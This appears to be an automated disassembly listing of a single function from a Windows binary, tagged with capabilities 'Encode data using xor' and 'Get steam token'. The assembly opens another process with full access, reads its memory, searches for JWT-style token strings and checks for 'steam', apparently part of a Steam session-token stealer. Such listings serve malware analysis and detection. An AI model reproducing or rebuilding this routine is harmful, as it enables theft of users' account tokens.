Function at 0x450a30
Capabilities:
Encode data using xor
Get steam token

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x523e00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x4d8
mov eax, ecx
mov dword [ebp - 0x20], eax
push esi
mov dword [ebp - 0x18], 1
mov esi, edx
push edi
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, 1
push 0x64000
mov dword [ebp - 0x18], edi
call fcn.004f7c1f
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
movups xmmword [ebp - 0x50], xmm0
add esp, 4
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
push esi
push 0
push 0x1fffff
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x60], esi
test esi, esi
jne 0x450b2d
push dword [ebp - 0x1c]
call fcn.004f7c50
mov ecx, dword [ebp - 0x3c]
add esp, 4
cmp ecx, 0x10
jb 0x450b17
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450b0d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451139
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x208
lea eax, [ebp - 0x2e0]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x4e8]
push eax
push dword [ebp - 0x1c]
sub esp, 8
push 0
push 0
mov ecx, esi
call fcn.00450800
add esp, 0x18
mov ecx, eax
add ecx, 0x208
mov dword [ebp - 0x64], ecx
mov ecx, edx
adc ecx, 0
mov dword [ebp - 0x68], ecx
test edx, edx
jne 0x450b88
test eax, eax
je 0x4510fc
test edx, edx
jne 0x450b88
cmp eax, 0xffff
jbe 0x450b9e
push 0
push 0x208
lea ecx, [ebp - 0x2e0]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [ebp - 0x2e0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450ba7
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.0047f6a0
cmp dword [ebp - 0x40], 0x12c
jbe 0x4510ce
xorps xmm0, xmm0
push 0x50
movups xmmword [ebp - 0x90], xmm0
call fcn.004f7990
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__.]
mov esi, eax
mov dword [ebp - 0x80], 0x41
add esp, 4
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x7c], 0x4f
movups xmmword [esi], xmm0
movups xmm0, xmmword [0x53ecc0]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [0x53ecd0]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [0x53ece0]
movups xmmword [esi + 0x30], xmm0
mov al, byte [0x53ecf0]
mov byte [esi + 0x40], al
mov byte [esi + 0x41], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
mov edx, dword [ebp - 0x40]
cmovae ecx, dword [ebp - 0x50]
setae byte [ebp - 0x11]
push 0x41
push esi
push ecx
call fcn.004850f0
mov ecx, eax
add esp, 0xc
lea eax, [ebp - 0x50]
cmp ecx, 0xffffffff
je 0x450c99
cmp dword [ebp - 0x40], ecx
xorps xmm0, xmm0
movups xmmword [ebp - 0xa8], xmm0
cmovb ecx, dword [ebp - 0x40]
cmp byte [ebp - 0x11], 0
push ecx
cmovne eax, dword [ebp - 0x50]
lea ecx, [ebp - 0xa8]
push eax
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0
call fcn.00402b20
or edi, 6
jmp 0x450ca8
push eax
lea ecx, [ebp - 0xa8]
call fcn.0047faa0
or edi, 2
push 0x50
push esi
mov dword [ebp - 0x18], edi
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x98], 0
je 0x451091
sub esp, 0x18
xorps xmm0, xmm0
mov esi, esp
mov dword [ebp - 0xac], esp
push 1
movups xmmword [esi], xmm0
push 0x53e938
push esi
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], 0xf
call fcn.004f9670
mov byte [esi + 1], 0
sub esp, 0xc
mov byte [ebp - 4], 4
mov esi, esp
mov dword [ebp - 0xb0], esp
xorps xmm0, xmm0
push 0x30
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
call fcn.004f7990
mov ecx, eax
mov dword [esi + 0x10], 0x2c
mov dword [esi], ecx
mov dword [esi + 0x14], 0x2f
movups xmm0, xmmword [str.eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0.]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x53ed8c]
movups xmmword [ecx + 0x10], xmm0
movq xmm0, qword [0x53ed9c]
movq qword [ecx + 0x20], xmm0
mov eax, dword [0x53eda4]
mov dword [ecx + 0x28], eax
mov byte [ecx + 0x2c], 0
sub esp, 0x14
mov byte [ebp - 4], 5
lea eax, [ebp - 0x50]
mov ecx, esp
push eax
call fcn.0047faa0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 3
call fcn.00450320
add esp, 0x48
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xd8]
call fcn.00402890
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x450dc7
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450dbd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451139
push ecx
push edx
call fcn.004f7c11
add esp, 8
sub esp, 0x28
mov dword [ebp - 0x28], 0
mov eax, esp
mov dword [ebp - 0x24], 0xf
lea edx, [ebp - 0xd8]
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0xc0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00483da0
add esp, 0x30
mov byte [ebp - 4], 9
xorps xmm0, xmm0
xor ecx, ecx
mov word [ebp - 0x74], 0x9f82
xor eax, eax
mov byte [ebp - 0x72], 0x9e
movq qword [ebp - 0x71], xmm0
xor edx, edx
mov byte [ebp - 0x69], 0
nop dword [eax]
sub cl, 0x15
lea eax, [ebp + eax - 0x74]
xor byte [eax], cl
lea ecx, [edx + 1]
mov eax, ecx
mov edx, ecx
cmp ecx, 3
jb 0x450e20
mov dword [0x558540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x74]
mov byte [ebp - 0x71], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450e60
sub ecx, edx
lea eax, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402b20
or edi, 8
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 0x10
lea ecx, [ebp - 0xc0]
cmovae eax, dword [ebp - 0x38]
push eax
call fcn.00483b70
mov al, byte [eax]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x24]
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x450ed7
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450eca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451139
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x11]
add esp, 8
cmp al, 3
jne 0x451048
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0x9f82
xor eax, eax
mov byte [ebp - 0x5a], 0x9e
xor ecx, ecx
movq qword [ebp - 0x59], xmm0
mov byte [ebp - 0x51], 0
xor edx, edx
nop dword [eax + eax]
sub al, 0x15
xor byte [ebp + ecx - 0x5c], al
lea eax, [edx + 1]
mov ecx, eax
mov edx, eax
cmp eax, 3
jb 0x450f00
xorps xmm0, xmm0
mov dword [0x558540], eax
lea ecx, [ebp - 0x5c]
mov byte [ebp - 0x59], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450f36
sub ecx, edx
lea eax, [ebp - 0x5c]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402b20
or edi, 0x10
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 0x10
lea ecx, [ebp - 0xc0]
cmovae eax, dword [ebp - 0x38]
push eax
call fcn.00483b70
lea ecx, [ebp - 0x90]
push ecx
mov ecx, eax
call fcn.00483cb0
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x450f86
mov eax, dword [eax]
push 5
push str.steam
mov ecx, eax
call fcn.0048f820
mov ecx, dword [ebp - 0x7c]
add esp, 8
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x450fd1
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450fc7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451139
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
cmp ecx, 0x10
jb 0x45101e
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451014
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451139
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x451048
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x50]
push ecx
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
je 0x451040
mov ecx, eax
call fcn.0047faa0
add dword [esi + 4], 0x18
jmp 0x451048
push eax
mov ecx, esi
call fcn.0048c7f0
lea ecx, [ebp - 0xc0]
call fcn.0047d5c0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0xc4]
cmp ecx, 0x10
jb 0x451091
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x451087
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451139
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x4510cb
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4510c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451139
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov esi, dword [ebp - 0x60]
push 0x208
lea eax, [ebp - 0x2e0]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x4e8]
push eax
push dword [ebp - 0x1c]
sub esp, 8
push dword [ebp - 0x68]
push dword [ebp - 0x64]
jmp 0x450b54
push dword [ebp - 0x1c]
call fcn.004f7c50
mov ecx, dword [ebp - 0x3c]
add esp, 4
cmp ecx, 0x10
jb 0x450b17
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450b0d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x450b0d
call fcn.004fceb0
int3